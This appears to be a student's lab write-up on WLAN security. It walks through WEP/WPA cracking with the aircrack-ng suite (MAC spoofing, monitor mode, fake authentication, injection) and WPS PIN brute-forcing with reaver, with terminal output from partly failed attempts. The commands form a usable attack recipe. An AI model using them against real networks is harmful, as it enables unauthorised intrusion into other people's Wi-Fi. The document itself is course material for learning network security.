

Security Protocols

Lab 5: WLAN Security

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WLAN cracking

WEP/WPA cracking

- Reboot machine to have a clean environment

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ubuntu@ubuntu:~$ ip link show wlo1
3: wlo1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DORMANT group default qlen 1000
    link/ether 8c:c6:81:d0:e5:94 brd ff:ff:ff:ff:ff:ff
    altname wlp3s0
ubuntu@ubuntu:~$
```

- Start the wireless card in monitor mode:
 - Change the MAC of the wireless card:

```
ifconfig wlan0 down
macchanger --mac 00:11:22:33:44:55 wlan0
ifconfig wlan0 up
```
 - `airmon-ng start wlan0`

```
ubuntu@ubuntu:~$ sudo ip link set wlo1 down
ubuntu@ubuntu:~$ sudo macchanger --mac 00:11:22:33:44:55 wlo1
Current MAC: 8c:c6:81:d0:e5:94 (unknown)
Permanent MAC: 8c:c6:81:d0:e5:94 (unknown)
New MAC: 00:11:22:33:44:55 (CIMSYS Inc)
ubuntu@ubuntu:~$ sudo ip link set wlo1 up
ubuntu@ubuntu:~$ sudo airmon-ng start wlo1

Found 4 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

  PID Name
  1005 avahi-daemon
  1072 avahi-daemon
  1098 NetworkManager
  1105 wpa_supplicant

PHY      Interface      Driver      Chipset
phy0     wlo1             iwlwifi     Intel Corporation Wi-Fi 6 AX200 (rev 1a)
          (mac80211 monitor mode vif enabled for [phy0]wlo1 on [phy0]wlo1mon)
          (mac80211 station mode vif disabled for [phy0]wlo1)
```

- Find the AP name: `airodump-ng wlan0mon`. Remember the BSSID and Channel column values

- Start listening for packets (IVs) and save them into a file using airodump-ng: `airodump-ng -c (channel) -w (file name) --bssid (bssid) wlan0mon`

Wait until #Data column is at least 10000. Recommended >20000

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ubuntu@ubuntu: ~
CH 2 ][ Elapsed: 2 mins ][ 2025-11-16 15:02 ][ Are you sure you want to quit? Press Q again to quit.

BSSID          PWR RXQ Beacons  #Data, #/s CH  MB  ENC CIPHER AUTH ESSID
6A:B8:6B:2A:40:01 -53  0      108    10459 241  2  360  WPA2 CCMP  PSK  FBI-Surveillance-Van-3

BSSID          STATION          PWR   Rate    Lost  Frames  Notes  Probes
6A:B8:6B:2A:40:01 90:0F:0C:A3:2A:19 -65   24e-24e  1778   10640

ubuntu@ubuntu:~$

```

- Authenticate with the AP using aireplay-ng: `aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) wlan0mon`. -1 means fake authentication and 0 means re-association timing in seconds
- If not enough clients connected to the network, inject fake requests using aireplay-ng: `aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wlan0mon`.
- Analyze the file and crack the password using aircrack-ng: `aircrack-ng -b (bssid) (file name-01.cap)`

```

16:00:57 Waiting for beacon frame (BSSID: 68:B8:6B:4A:40:01) on channel 1
16:01:04 Sending Authentication Request (Open System)
16:01:06 Sending Authentication Request (Open System) [ACK]
16:01:06 Authentication successful
16:01:06 Sending Association Request [ACK]read failed: Network is down
wi_read(): Network is down

```

My Intel card do not support the full injection features required for this lab.

WPS cracking

- Reboot machine to have a clean environment
- Easily to crack using brute-force attack
- The attack was presented in December 2011
- The first public tool: January 2012 → reaver
- The flaw allows a remote attacker to recover the WPS PIN in a few hours (the network WPA/WPA2 pre-shared key is found too)

- Cannot be turned-off on some routers
- The exact details PDF are attached to the lab (viehboeck_wps.pdf)
- Steps:
 - Find the wireless card interface and change MAC (if needed): `macchanger --mac 00:11:22:33:44:55 wlan0`
 - Setup monitor mode and find the BSSID:
 - `airmon-ng start wlan0`
 - `airodump-ng wlan0`
 - Use: `reaver -i wlan0mon -b (bssid) -c CHANNEL -vv`
 - Wait ~4-10 hours

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Reaver v1.6.6 WiFi Protected Setup Attack Tool
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[+] Switching wlo1mon to channel 1
[+] Waiting for beacon from 68:B8:6B:4A:40:01
[+] Received beacon from 68:B8:6B:4A:40:01
[+] Vendor: RalinkTe
[!] Found packet with bad FCS, skipping...
[+] Trying pin "12345670"
[+] Sending authentication request
[!] WARNING: Receive timeout occurred
[+] Sending authentication request
[!] WARNING: Receive timeout occurred
[+] Sending authentication request
[!] WARNING: Receive timeout occurred
[+] Sending authentication request
[!] WARNING: Receive timeout occurred
[+] Sending authentication request

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